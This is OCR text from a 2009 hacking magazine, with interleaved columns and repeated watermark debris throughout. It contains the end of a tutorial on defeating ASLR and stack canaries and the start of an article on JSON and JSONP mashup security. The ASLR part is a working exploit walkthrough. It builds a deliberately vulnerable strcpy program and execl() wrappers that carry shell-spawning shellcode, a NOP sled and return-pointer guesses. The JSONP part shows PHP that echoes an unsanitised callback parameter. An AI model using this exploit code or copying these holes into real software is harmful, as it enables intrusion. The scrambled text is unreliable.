this number on average. Let's discuss started up, the addressing for that process various methods available when exploiting
an example. If a parent process forks and all child processes remain the same ASLR and scan the target program
out multiple child processes that allow throughout the processes lifetime. If an thoroughly. Remember, when it comes
an attacker to brute force a program, attacker does not have to be concerned to hacking at canaries, ASLR and other
success should be possible barring the with crashing a child process, multiple controls, you must at times understand the
parent process does not crash. This is format string attacks may supply them program and potentially the OS it is running
often the case with daemons accepting with the desired information. on, better than its designer. One data copying
multiple incoming connections. If you function may very easily allow you to repair a
must restart a program for each attack Locating Static Values canary, while another may be impossible. It is
attempt, the odds of hitting the correct Some implementations of ASLR do not when faced with this challenge that you must
address decreases greatly, as you are randomize everything on the stack. If think outside the box and search through
not exhausting the memory space. You static values exist within each instance memory for alternative solutions. Every byte
also have the issue of getting the process of a program being executed, it may be mapped into memory is a potential opcode
to start back up again. In the latter case, enough for an attacker to successfully for you to leverage.
using large NOP sleds and maintaining gain control of a process. By opening a
a consistent address guess may be program up within GDB and viewing the Opcodes of Interest
the best solution. Using NOP’s allows location of instructions and variables Some opcodes that may provide us with
a successful attack as long as we fall within memory, you may discover some opportunities to exploit ASLR include Ret-
somewhere within the sled. consistencies. This is the case Linux to-ESP, Ret-to-EAX, Ret-to-Ret and Ret-to-
kernel 2.6.17 and the linux-gate.so.1 Ptr. Let’s discuss each one of them in a
Data Leakage VDSO. Inside linux-gate.so.1 was a jmp little more detail.
Format string vulnerabilities often allow esp instruction located at memory
you to view all memory within address 0xfffe777. This served as a • Ret-to-ESP This is the one just
a process. This vulnerability may allow you trampoline for shellcode execution as mentioned which takes advantage of
to locate the desired location of a variable seen with vulnerable programs such as a system using ASLR running Kernel
or instruction in memory. This knowledge ProFTPD 1.3.0. version 2.6.17. The idea is that the ESP
register will be pointing to a memory
address immediately following the
location of the previous return pointer
location when a function has been
torn down. Since the ESP register is
pointing to this location, we should be
able to place our exploit code after the
return pointer location of a vulnerable
Figure 8. Segmentation Fault function and simply overwrite the
return pointer with the memory
address of a jmp esp or call esp
instruction. If successful, execution will
jump to the address pointed to by ESP,
executing our shellcode.
• Ret-to-EAX comes into play when a
calling function is expecting a pointer
returned in the EAX register that points
to a buffer the attacker can control. For
example, if a buffer overflow condition
exists within a function that passes
back a pointer to the vulnerable buffer,
we could potentially locate an opcode
that performs a jmp eax or call eax
and overwrite the return pointer of the
Figure 9. ASLR is Enabled vulnerable function with this address.

24 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
HACKING ASLR AND STACK CANARIES
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

• Ret-to-Ret is a bit different. The idea have been removed. We can no longer Checking for BoF
here is to set the return pointer to the reliably use linux-gate.so.1 as a method Let’s determine if the aslr _ vuln
address of a ret instruction. The idea of bypassing ASLR, although it still often program is vulnerable to a simple stack
behind this attack is to issue the ret remains static. overflow by passing it in some A’s. You
instruction as many times as desired, Memory leaks such as format string can see that four A’s does not trigger a
moving down the stack four bytes at a vulnerabilities may be one method of segmentation fault, but using Python to
time. If a pointer resides somewhere learning about the location of libraries pass in 100 A’s, we cause a segmentation
on the stack that the attacker can and variables within a running process, fault (see Figure 8).
control, or control the data held at the but without such luck we need to think Let’s try and run the program inside
pointed address, control can be taken outside of the box a bit. How about of GDB to get a closer look. I will run
via this method. wrapping a program within another the program with 100 A’s first. You will
• Ret-to-Ptr is an interesting one. program in an attempt to have a bit more likely not see 0x41414141 during the
Imagine for a moment that you control about the layout of the program. segmentation fault as you would expect.
discover a buffer overflow within a It just so happens that it works when Part of this has to do with the fact that
vulnerable function. Once you cause using particular functions to open up the ASLR will often generate strange results
a segmentation fault, often times vulnerable program. when causing exceptions. Another
we’ll see that EIP has attempted to reason for the behavior has to do
jump to the address 0x41414141. This Vulnerable Program with the fact that the behavior of the
address is of course being caused by Below (see Listing 3) is a simple Proof of segmentation fault is often related to
our use of the A character. When we Concept (PoC) program that introduces how and where a function is called. If
generate this error, we can type in info an obvious vulnerability by using the you reduce the number of A’s down to
reg into GDB and view the contents strcpy() function. 48, you should see some difference in
of the processor registers. More often
than none, several of the registers
Listing 3. Vulnerable Code
will be holding the address or value
0x41414141 . Let’s say for example /* Name this program aslr_vuln.c and compile as aslr_vuln using the –fno-stack-
protector compile option. */
that the EBX register is holding the
value 0x414141. This may indicate
that this value has been taken from #include <stdio.h>
#include <string.h>
somewhere off of the stack where
we crammed our A’s into the buffer int main (int argc, char *argv[]) {
and overwrote the return pointer. If char buf[48]
we can find an instruction such as printf("I’m vulnerable to a stack overflow… See if you can hack me!\n\n");
strcpy(buf, argv[1]);
call [ebx] or FF 13 in hex, and return 1;
can determine where the 0x41414141 }
address has been pulled from the
stack to populate EBX, we should be Listing 4. exec()
able to take control of the program exec():
by overwriting this location with the #include <unistd.h> extern char **environ;
address of our desired instruction. Of int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
course, we still have to know where we
int execle(const char *path, const char *arg , ..., char * const envp[]);
want to point control. int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
What About Kernel 2.6.22
Listing 5. Wrapper Program
and Later?
We know about the method of locating #include <stdio.h>
static bytes that could work as potential #include <unistd.h>
#include <string.h>
opcodes, but what about a different
method? Each time a new Kernel version, int main(int argc, char *argv[]) {
or compiler version comes out our char buffer[100];
prior methods of defeating ASLR are int i, junk;
printf("i is at: %p\n", &i);
sometimes removed. For example, as
memset(buffer, 0x41, 100);
mentioned, linux-gate.so.1 is randomized execl("./aslr_vuln", "aslr_vuln", buffer, NULL);
in modern Kernel versions, and in others }
our desired jmp or call instructions

5/2009 HAKIN9 25
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
ATTACK O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Listing 6. Modified Wrapper Program

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {


char buffer[48];
int i, junk;
printf("i is at: %p\n", &i);
memset(buffer, 0x41, 48);
execl("./aslr_vuln", "aslr_vuln", buffer, NULL);
}

Listing 7. Wrapper with Shellcode

#include <stdio.h>
#include <unistd.h> //Necessary libraries for the various functions…
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x29\xc9\x89\xca\xb0"\
"\x46\xcd\x80\x29\xc0\x52\x68\x2f\x2f"\ // Our shell-spawning shellcode
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"\
"\x52\x54\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char *argv[]) {


char buffer[200]; // Our buffer of 200 bytes
int i, ret; // Our variable to reference based on it’s mem address and our RP variable
ret = (int) &i + 200; // The offset from the address of i we want to set our RP to…
printf("i is at: %p\n", &i);
printf("buffer is at: %p\n", buffer); // Some information to help us see what’s going on..
printf("RP is at: %p\n", ret);
for(i=0; i < 64; i+=4) // A loop to write our RP guess 16 times….
*((int *)(buffer+i)) = ret;
memset(buffer+64, 0x90, 64); // Setting memory at the end of our 16 RP writes to 0x90 * 64, our NOP sled…
memcpy(buffer+128, shellcode, sizeof(shellcode)); // Copying our RP guess, NOP sled and shellcode
execl("./aslr_vuln", "aslr_vuln", buffer, NULL); // Our call to execl() to open up our vulnerable program…
}

Listing 8. Modified Offset

#include <stdio.h>
#include <unistd.h> //Necessary libraries for the various functions…
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x29\xc9\x89\xca\xb0"\
"\x46\xcd\x80\x29\xc0\x52\x68\x2f\x2f"\ // Our shell-spawning shellcode
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"\
"\x52\x54\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char *argv[]) {


char buffer[200]; // Our buffer of 200 bytes
int i, ret; // Our variable to reference based on it’s mem address and our RP variable
ret = (int) &i + 60; // The offset from the address of i we want to set our RP to… modified version that should work!
printf("i is at: %p\n", &i);
printf("buffer is at: %p\n", buffer); // Some information to help us see what’s going on..
printf("RP is at: %p\n", ret);
for(i=0; i < 64; i+=4) // A loop to write our RP guess 16 times….
*((int *)(buffer+i)) = ret;
memset(buffer+64, 0x90, 64); // Setting memory at the end of our 16 RP writes to 0x90 * 64, our NOP sled…
memcpy(buffer+128, shellcode, sizeof(shellcode)); // Copying our RP guess, NOP sled and shellcode
execl("./aslr_vuln", "aslr_vuln", buffer, NULL); // Our call to execl() to open up our vulnerable program…
}

26 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
ATTACK O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

the behavior of the segmentation fault


and where EIP is trying to jump. Run it
a few times with 48 A’s and you should
eventually see the expected 0x41414141
inside of the EIP register. Each time your
segmentation fault is successful, you
can use the p $esp command in GDB
to print the address held in the stack
pointer. You should notice that it changes
each time you execute the program
due to the randomization of the stack
segment. At this point we can count out Figure 10. Running with First Wrapper
our traditional return to buffer style attack
and have verified that ASLR is enabled
(see Figure 9).
I’ll next set up a breakpoint inside
of GDB on the function main() with
the command, break main and run
the program with no arguments. When
execution reaches the breakpoint,
you can type in p system, record the
address and rerun the program. When
typing in the p system command again Figure 11. Running with Updated Wrapper
when the program pauses you should
notice that the location of the system()
function is mapped to a different
address each time you execute the
program. This would lead us to believe
that a simple return-to-libc attack would
also prove difficult.
At this point we know that the stack
is located at a new address with every
run of the program. We know that system Figure 12. Checking Return Pointer
libraries and functions are mapped to
different locations within the process
space as well. We know that 20-bits
seems to be used in the randomization
pool for some of the mapped segments.
It is pretty obvious that brute-forcing is not Figure 13. Adjusted Return Pointer
the best approach to defeating ASLR on
this system.
Let’s next try wrapping the aslr _
vuln program with another C program
we control and use the execl() function
to open it. According to the Linux help
page for the exec() family of functions,
The exec family of functions replaces
the current process image with a new
process image. This could potentially have
an affect on ASLR, but let’s first see if we
can even cause a segmentation fault (see
Listing 4).
Let’s first create a simple C program
that uses the execl() function to open up
the vulnerable aslr _ vuln program We’ll Figure 14. Successful Exploitation

28 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
HACKING ASLR AND STACK CANARIES
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

create a buffer of 100 bytes and pass in can use the address of this variable as Conclusion
a bunch of capital A’s to see if we can get a reference point once the process is Again, the methods shown in this article
EIP to try and jump to 0x41414141. The replaced by execl(). It is not an exact are conditional, as are most modern
code can be seen in the Listing 5. science as to the behavior of where in methods of locating and successfully
Compile it with: gcc –fno-stack- memory things may be moved to, but performing 4-byte overwrites. Many
protector aslr-test1.c –o aslr- generally they stay in the same relative researchers feel that it is only a matter
test1 (see Figure 10). area. We can then create an offset from of time before this genre of exploitation
As you can see we seem to be the address of our variable to try and is impossible. However, as long as there
causing a segmentation fault, but are cause the return pointer to land within are poorly configured systems, outdated
not causing EIP to jump to the address our NOP sled. Let’s take a look at our OS’ and complacency existing within
0x41414141 . One would think that as long exploit code and also a closer look at our organizations, there will always be
as we’re overwriting the return pointer with the program inside of GDB. opportunities for attackers to attack via
A’s that execution should try to jump to Take a look at the comments added this method. Many script kiddies and
0x41414141 , however, the behavior is not into the code to see what’s going on attackers have moved onto simpler
always predictable (see Figure 11). check the Listing 7. forms of exploitation on the web such as
Decrease the size of the buffer and In thie image (see Figure 12) it looks cross-site scripting and SQL injection.
the number of A’s we’re passing to the like we set our offset too high. As you can The obvious reasoning behind this is that
vulnerable program to 48. As you can see, we have set our return pointer guess attackers are opportunistic and go for the
see on the image above, execution tried to an address that’s far into our shellcode. biggest return on investment.
to jump to 0x41414141. It may not happen We want it to land inside the NOP sled. Both of the techniques used in this
every time, so give it a few runs before Again, this is not an exact science and article rely on a buffer overflow condition
assuming there is a problem. The code to results may vary on the program you to exist in order to be successful. Many
do this is shown in the Listing 6. are analyzing. With ASLR enabled and of these conditions can be eliminated by
Since we’ve established the fact using execl() to open up the vulnerable simply using secure coding best practices.
that we can still control execution when program, you may experience inconsistent Historically, educational institutions did
wrapping the vulnerable program within a results. The one we’re attacking is actually not teach with security in mind in regards
program we create, we can begin to set quite stable and you should have success to programming. This is changing for the
up our attack framework. For this we must using this method (see Figure 13). better, however, mistakes are still made
fill the buffer of the vulnerable program Let’s try again, changing our offset from and poor functions selected for string and
with our return pointer, so we hopefully 200 to 60. As you can see on the slide, our memory copying operations. Simply using
have it in the right spot. Place a NOP sled return pointer guess points within our NOP strncpy() instead of strcpy() does not
after the return pointer overwrite as our sled! Let’s give it a whirl…(see Listing 8). automatically protect you. Many amateur
landing zone. We then must place the Success! Giving it a few tries results programmers inadvertently introduce
shellcode we want to execute after the in our shellcode execution. With more vulnerabilities into their code by a lack of
NOP sled and figure out to what address effort, it is possible to increase the experience and testing. As with the majority
to set the return pointer. success rate of running this exploit by of application and OS vulnerabilities, input
We have already figured out that we modifying the offset. Remember, the validation and bounds checking seem to
do not know where the stack segment process is being replaced through always top the list when identifying where
will be mapped. What we can do is execl() and even when setting the flaws are being introduced. A strong code
create a variable within our wrapper return pointer guess to an address that review process, combined with fuzzing and
program that will be pushed into doesn’t directly fall within the NOP sled, penetration testing can help minimize the
memory prior to the call to execl(). We success may occur, (see Figure 14). number of vulnerabilities that exist within an
application.
On The 'Net
The links below provide some good papers on the topics and techniques covered in this article,
as well as several others.
Stephen Sims
Stephen Sims is an Information Security Consultant
currently residing in San Francisco, CA. He has spent
• Smashing the Stack for Fun and Profit by Aleph One – http://www.phrack.org/issues.html?id=1 the past eight years in San Francisco working for
4&issue=49 many large institutions and on various contracts
providing Network and Systems Security, Penetration
• Smashing the Modern Stack for Fun and Profit by Unknown – http://www.milw0rm.com/ Testing and Exploitation Development. He is a SANS
papers/82 Certified Instructor and author of the course SEC709,
• Bypassing non-executable-stack during exploitation using return-to-libc by c0ntex http: Developing Exploits for Penetration Testers and Security
Researchers. He also travels internationally teaching
//exp.byhack.net/papers/31
various courses and speaking at conferences such
• Smack the Stack by Izik – http://www.orbitalsecurity.com/documentation_view.php?id=27 as RSA. Stephen holds the GIAC Security Expert (GSE)
• ASLR bypassing method on 2.6.17/20 Linux Kernel by FHM crew – http:// certification, Network Offense Professional (NOP)
www.milw0rm.com/papers/219 certification from Immunity, amongst others.
stephen@deadlisting.com

5/2009 HAKIN9 29
ATTACK
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

ANTONIO FANELLI

Mashup
Security
Difficulty

Mashups will have a significant role in the future of Web 2.0,


thanks to one of the most recent data interchange techniques:
JSON. But what about security?

I
n the Web 2.0 Era, people require more web Probably he would locate it on Google Maps, and
services integration for finding information via then he would look for some pictures on Flickr or
web search engines faster. perform a virtual tour on the official tourist website
Imagine a user who is planning a trip. He and so on with practical information about hotels,
starts seeking information about the destination. restaurants, monuments, and others. A few days

JSON vs. XML


JSON and XML are data interchange techniques widely used in today's web services. Both can be used as a
simple and standard exchange format to enable users to move their data between similar applications. There are
some differences that make them better for different purposes. So the question is: how to use the right tool for the
right job? Here there are some hints which can also be found at http://www.json.org/xml.html. XML is better for:

• extensibility. XML is a document markup language, so you can define new tags or attributes to represent data
in it,
• document exchange format. XML was born to create new languages specialized in describing structured
documents.
• displaying many views of the one data because, as for extensibility, it is a document markup language.
• complete integration of data. XML documents can contain any imaginable data type thanks to the
<[CDATA()]> feature.
• more standard projects. Actually XML is widely adopted by the computer industry because it is older than
JSON and recognized as a standard from the World Wide Web Consortium (W3C).

JSON is better for:


• simplicity. JSON has a much smaller grammar and maps more directly onto the data structures used in
modern programming languages,
WHAT YOU SHOULD • openness. JSON is not in the center of corporate/political standardization struggles, so it is more open
KNOW... than XML,
Basics of JavaScript and AJAX • more human readable data format. JSON is also easier for machines to read and write,
Basics of PHP • being easily processed. JSON structure is simpler than XML,
• less code writing. JSON is a simpler notation, so it needs much less specialized software. In some
WHAT YOU WILL languages JSON notation is built into the programming language,
LEARN... • less data mapping work. JSON structures are based on arrays and records that is what data is made of,
JSON data interchange format • data exchange format. JSON was born for data interchange,
• object-oriented projects. Being data-oriented, JSON can be mapped more easily to object-oriented
JSONP technique for mashups
systems.
JavaScript injection with JSONP

30 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
WEB APPLICATION HYBRID
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

before leaving he is likely to look for


weather forecast, latest news and events.
Given the wide variety of available
content, it is easier today to hit on mashups,
(hybrid web sites) that integrate specialized
services such as geocoding, weather
forecast, tourist reservations, news feeds
and others. It is easy for end-users to find
all these services in a single place without
having to worry about conducting extensive
research on the Internet.
But sometimes functionality is in
inverse proportion to security. As you will
see later, rush mashups could cause
theft of a user’s personal data.

JSON's Role
For many years XML has been the
standard for data interchange. Originally,
it was introduced as a meta-language
for document structure description, but
soon it was also used for the information
exchange among different systems.
A few years ago a new data
exchange format was born: JSON. It
stands for JavaScript Object Notation
and its simplicity brought rapid use Figure 1. Basic flight search form with dynamically filled select box with JSON data
in programming especially with AJAX
technology. Compared to XML, JSON is a Listing 1. A basic flight search form with dynamic select box
better data exchange format while XML is a
better document exchange format (See the <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/
TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http:
inset – JSON vs. XML – for more details). //www.w3.org/1999/xhtml" xml:lang="en" lang="en">
It is based on the standard JavaScript <head>
language, but is independent of it. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Flight Search</title>
Its use via JavaScript is particularly
<script language="JavaScript" type="text/JavaScript" src="showData.js"></script>
simple because the parsing can be </head>
automatically done through a call to the <body onload="showData();">
JavaScript eval() function. Data types <form name="frm" method="post" action="">
<fieldset><legend>&nbsp;Search a Flight&nbsp;</legend>
supported by this format are:
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
• boolean (true and false). <td height="50" width="20%"><b>Select a Company:</b></td>
<td><select name="companies" id="selCompanies"></select></td>
• integer, real, and float.
</tr>
• strings enclosed in double quotes. <tr>
• arrays (ordered sequences of values. <td height="50"><b>From:</b></td>
comma separated, and enclosed in <td><input type="text" name="from" size="20" maxlength="50" /></td>
</tr>
square brackets).
<tr>
• associative arrays (collection of key- <td height="50"><b>To:</b></td>
value pairs, comma separated, and <td><input type="text" name="to" size="20" maxlength="50" /></td>
enclosed in braces). </tr>
</table>
• null. </fieldset>
<div align="center"><input type="submit" name="submit" value="Submit" /></div>
Most programming languages have </form>
</body>
a type system very similar to the one
</html>
defined by JSON, that's why it has
become very popular among developers.

5/2009 HAKIN9 31
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
ATTACK O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

An example of JSON object could be Which is nothing but a collection of key- var json = '{"name":"Antonio",
as follows: value pairs. In various languages this is "surname":"Fanelli", "message":
done as an object, record, struct, dictionary, "Hello JSON!"}';
{ "name":"Antonio", hash table, keyed list, or associative array. var myObj = eval('(' + json + ')');
"surname":"Fanelli", Reading a JSON stream from JavaScript is alert('Message from ' + myObj.name
"message":"Hello JSON!" } very simple, as the following demonstrates: + ' ' + myObj.surname + ':\n' +
myObj.message);
Listing 2. AJAX script which handles the JSON object
In the first row a JSON text is stored into
//asynchronous request to the server
a variable. Then the eval() function is
function makeRequest(url){
var httpRequest; called to parse the text and transform it
var theObject; into a JavaScript object. Finally the JSON
var html = ""; object is used to display an alert into the
var container = document.getElementById("selCompanies");
container.innerHTML = '';
page.
In practice JSON can be used with
if (window.XMLHttpRequest) { web services as an alternative to XML and
// Mozilla and other browsers
SOAP, but also with any web application
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) { where there is data interchange between
httpRequest.overrideMimeType('text/xml'); a client and server.
} Note that a browser’s Same Origin
}
Policy blocks multi-domain calls, so
else if (window.ActiveXObject) {
// IE client and server pages must be
try located on the same server to work
{
properly. Anyway you can bypass these
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
} restrictions thanks to a simple but
catch (e) { brilliant JSON hacking technique, as
try { you will see later. But first let's see an
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
example.
}
catch (e) {} Let's suppose we have a web page
} with a flight search form. Inside the form
} there is a select box which we want to
if (!httpRequest) {
alert("Cannot create an XMLHTTP instance");
dynamically populate by asynchronous
} calls to the server, receiving JSON text
httpRequest.onreadystatechange = function() { data as responses. We have to code two
if (httpRequest.readyState == 4) {
kinds of scripts. An HTML client-side script
if ( httpRequest.status == 200 ) {
//parsing the JSON text from the server response as a user interface and a PHP server-
theObject = eval( '(' + httpRequest.responseText + ')' ); side script for retrieving data from the
//looping the JSON object to populate the select box database.
for(i=0; i < theObject.length; i++) {
Figure 1 shows the form in the HTML
html += "<option value='" + theObject[i].code + "'>" +
theObject[i].name + "</option>"; page. Once the page is loaded the
} companies select box is filled in with
//filling the select box data. Don't worry about the remaining
container.innerHTML += html;
} else {
fields; they are not important for this
alert("There was a problem with the service"); example. You can use Firebug, a very
} useful Firefox extension, to analyze the
}
page code at runtime. From the HTML
};
httpRequest.open('GET', url, true); console inside Firebug, you can see the
httpRequest.send(null); asynchronous call to the server and its
} JSON response with the list of the airline
companies.
//call asynchronous request
function showData() { Listings 1 and 2 show the client-side
var jsonUrl = 'jsonCompanies.php'; code while Listing 3 the server-side one.
makeRequest(jsonUrl);
The code in Listing 1 represents
}
a simple HTML form. Note that the
companies select box is empty:

32 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
WEB APPLICATION HYBRID
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

<select name="companies"
id="selCompanies"></
Listing 3. Web service which returns data in JSON format
select> <?php #jsonCompanies.php
//Convert a MySQL result set to JSON text
It will be dynamically populated by the
function getJSON($resultSet, $affectedRecords){
asynchronous call made through the $numberRows = 0;
showData() function when the page is $arrfieldName = array();
loaded: $i = 0;
$json = "";
while ($i < mysql_num_fields($resultSet)) {
<body onload="showData();"> $meta = mysql_fetch_field($resultSet, $i);
if (!$meta) {
showData() is defined into Listing 2 where }else{
$arrfieldName[$i]=$meta->name;
there is all the JavaScript code which }
handles the asynchronous call, parses $i++;
the JSON response, and populates the }
$i = 0;
select box. The makeRequest () function
$json = "[\n";
is a slightly modified version of the one while($row = mysql_fetch_array($resultSet, MYSQL_NUM)) {
proposed on the Mozilla Developer Center $i++;
website (http://developer.mozilla.org/en/ $json .= "{\n";
for($r=0; $r < count($arrfieldName); $r++) {
AJAX/Getting_Started)
$json .= "\"$arrfieldName[$r]\" : \"$row[$r]\"";
You only need to pay attention to the if($r < count($arrfieldName) – 1){
piece of code which deals with the JSON $json .= ",\n";
response. The line of code: }else{
$json .= "\n";
}
theObject = eval( '(' + }
httpRequest.responseText if($i != $affectedRecords){
$json .= "\n},\n";
+ ')' );
}else{
$json .= "\n}\n";
is the only thing we need to parse the }
JSON response text and convert it into a }
$json .= "]";
JavaScript object which is stored into the return $json;
theObject variable. }
Now let's loop through the object to build
//Include database connection settings
the HTML code for the companies select box:
include 'config.php';
for(i=0; i < theObject.length; i++) {
html += "<option value='" + //Connect to mySQL

theObject[i].code + "'>" +
$db = mysql_connect($db_host, $db_user, $db_password);
theObject[i].name + "</option>"; if ($db == FALSE)
} die ("DB connection error!");
mysql_select_db($db_name, $db)
or die ("DB selection error!");
In practice we are building the option
fields inside the select box, giving them the //Retrieve data from DB
airline codes as values and airline names
$query = "SELECT * FROM company ORDER BY name LIMIT 100";
as descriptions.
$result = mysql_query($query, $db);
Finally, with the following line of code: $num = mysql_affected_rows();

container.innerHTML += html; //Convert result set to JSON text

echo trim(getJSON($result, $num));


we dynamically assign the HTML code to
our newly built container defined at the top //Close DB connection
of the code block:
mysql_close($db);
?>
var container = document.getElement
ById("selCompanies");

5/2009 HAKIN9 33
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
ATTACK O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Listing 3 shows the PHP code for The conversion is made by the getJSON according to the JSON standard, filling it
retrieving data from the database function which is a slightly adapted with data coming from a MySQL record
and return the JSON object. It is a version of the one inside the Adnan set. Then the string is returned to the
simple PHP script that connects to Siddiqi's class which you can download client through the following line of code:
a MySQL database, collects a list of from here: http://www.phpclasses.org/
airline companies and converts the browse/package/3195.html. It does echo trim(getJSON($result, $num));
resulting record set into a JSON text. nothing more than format a string
In other words the HTML page makes an
Listing 4. Modified version of the search flight form for use with JSONP asynchronous GET call to the PHP page
which connects to a MySQL database,
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/
retrieves data, and returns a simple JSON
xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> text to the client. All this with the minimal
<head> band request and absolutely clear to the
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> end user.
<title>Flight Search</title>
Also note the light and easy data
<script language="JavaScript" type="text/JavaScript">
<!-- interchange made through JSON with no
//Callback function need to describe any structure, and to
function showData(theObject) { build any parser. All we need is contained
var theObject;
var html = "";
in an object which is treated as an
var container = document.getElementById("selCompanies"); associative array in JavaScript.
container.innerHTML = '';
for(i=0; i < theObject.length; i++) {
html += "<option value='" + theObject[i].code + "'>" + theObject[i].name +
The Alter Ego JSONP
"</option>"; So JSON allows you to easily manage
} the asynchronous calls to web services
container.innerHTML += html; from inside the same domain. But
}
you know that AJAX doesn't allow
//URL of the external JSONP service asynchronous calls between different
var url = "http://www.example.com/jsonPCompanies.php?cb=showData"; domains, due to the browser’s Same
Origin Policy. The latter requires that,
//Dynamic script insertion
var script = document.createElement('script');
in order for JavaScript to access the
script.setAttribute('src', url); contents of a Web page, both the
JavaScript and the Web page must
//Load the script
originate from the same domain. Without
document.getElementsByTagName('head')[0].appendChild(script);
//--> the Same Origin Policy, a malicious
</script> website could serve up JavaScript that
</head> loads sensitive information from other
<body>
<form name="frm" method="post" action="">
websites using a client's credentials, culls
<fieldset><legend>&nbsp;Search a Flight&nbsp;</legend> through it, and communicates it back to
<table width="100%" border="0" cellspacing="0" cellpadding="0"> the attacker.
<tr>
So if you want to make extra-domain
<td height="50" width="20%"><b>Select a Company:</b></td>
<td><select name="companies" id="selCompanies"></select></td> calls then you should use a proxy with
</tr> AJAX, or some dirty techniques for remote
<tr> scripting with IFRAME. But JSON has an
<td height="50"><b>From:</b></td>
Alter Ego which allows you to bypass
<td><input type="text" name="from" size="20" maxlength="50" /></td>
</tr> these restrictions more easily as long as
<tr> the server-side script allows it. A few years
<td height="50"><b>To:</b></td> ago a python programmer had the simple
<td><input type="text" name="to" size="20" maxlength="50" /></td>
</tr>
but brilliant idea to let the client call JSON
</table> data wrapped into an arbitrary callback
</fieldset> function, whose name is passed to the
<div align="center"><input type="submit" name="submit" value="Submit" /></div>
server as a querystring parameter.
</form>
</body> This way the JSON response could
</html> have been included into the client script
as a dynamically created <script> tag.
Because the Same Origin Policy does

34 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
WEB APPLICATION HYBRID
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

not prevent from a dynamic insertion of


script elements into the page, you could
include JavaScript functions from different
domains, carrying JSON data. Obviously
the callback functions must be already
defined into the client page.
This is the idea of JSON with Padding
or JSONP which is nothing but a little
hack in the JSON technology. With a few
changes to the previous example, we
have. In jsonCompanies.php replace the
line:

echo trim(getJSON($result, $num));

with the following ones:

$callback = $_GET['cb'];
if ($callback != '') echo $callback .
'( ' . trim(getJSON($result, $num))
. ' )'; //JSONP response
else echo trim(getJSON($result,
$num)); //JSON response

In practice the PHP page can receive


a querystring parameter from the GET
request. If the parameter exists then it is
Figure 2. Basic flight search form with dynamically populated select box with JSONP used as the callback function name which
data encapsulates the JSON data.
In the example we don't take care
Glossary of any security controls, but, as you will
From Wikipedia (http://en.wikipedia.org): see later, they are important to avoid
the execution of arbitrar y code on the
• AJAX (Asynchronous JavaScript and XML): a group of interrelated web development server.
techniques used to create interactive web applications,
In the client page we have to define a
• Firebug: extension for Mozilla Firefox which allows the debugging, editing, and monitoring
